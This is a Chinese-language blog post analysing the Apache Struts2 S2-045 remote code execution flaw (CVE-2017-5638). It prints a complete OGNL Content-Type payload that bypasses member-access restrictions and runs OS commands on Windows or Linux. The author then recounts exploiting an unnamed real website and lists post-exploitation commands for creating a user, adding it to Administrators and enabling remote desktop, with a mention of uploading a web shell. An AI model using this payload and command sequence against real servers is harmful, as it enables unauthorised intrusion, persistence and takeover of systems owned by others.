S2-045漏洞之简单分析+实战

0X00 前言:

尽管s2-045的poc已经烂大街了,博主只是想学习了解一下它的用法,顺带写了一个测试小工具。

0x01 漏洞简介

Apache Struts是一套用于创建企业级Java Web 应用的开源MVC框架 。
Apache Struts 2.3.5 – 2.3.31版本及2.5 – 2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152 ,CVE-2017-5638)。该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息。导致远程攻击者可通过发送恶意的数据包,利用该漏洞在受影响服务器上执行任意命令。
漏洞编号:S2-045
CVE编号:CVE-2017-5638
漏洞类型:远程代码执行
漏洞级别:高危
漏洞风险:黑客通过利用漏洞可以实现远程命令执行。
影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10

0x02 简单的漏洞分析

由于当content-type中出现”multipart/form_data”时,会被认为有文件上传,从而调用struts2默认的上传文件组件Jakarta,通过组件漏洞载入OGNL代码并执行,从而达到远程调用的目的。

0x03 poc代码段

下面是一段网上的poc的header部分代码,主要分为三个部分
(1)用来触发文件漏洞,声明为文件上传

%{(#test='multipart/form-data')

(2)用来注入OGNL代码,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,绕过SecurityMemberAccess的限制。

(#[email protected]@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])   .(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))

(3)剩下的为调用CMD命令的代码,简单粗暴,首先判断操作系统,win下调用cmd,linux下调用bash。

.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds))
.(#p.redirectErrorStream(true))
.(#process=#p.start())
.(#ros(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))
.(#ros.flush())}

0x04实战

远程执行的杀伤力十分强大,基本上是想干什么都可以。
下面是博主对某站的实战渗透,过程非常的简单。
这是我们的目标
S2-045漏洞之简单分析+实战_第1张图片

为了简单化演示,博主写了一个非常丑陋的界面,输入url和命令whoami,即会返回命令结果。
S2-045漏洞之简单分析+实战_第2张图片
windows渗透命令:
查看端口 netstat -an
增加用户 net user username password /add
用户提权 net localgroup Administrators username
开启3389远程桌面:REG ADD HKLM、SYSTEM、CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections /t REG_DWORD /d 00000000 /f
之后远程登录即可。
S2-045漏洞之简单分析+实战_第3张图片
或者上传shell,没有root权限则进行提权,之后还是想干嘛干嘛。

工具博主就不放啦,按照poc就能随随便便写出来了。
麻麻告诉我,有漏洞不要激动,要去通知管理员,于是博主帮管理员补好了漏洞。没错,博主就是这么棒!博主相信,好人一生平安~
S2-045漏洞之简单分析+实战_第4张图片

友情提示:请不要使坏坏哦,会被警察蜀黍抓走的哟~

你可能感兴趣的:(web安全,struts,s2-045)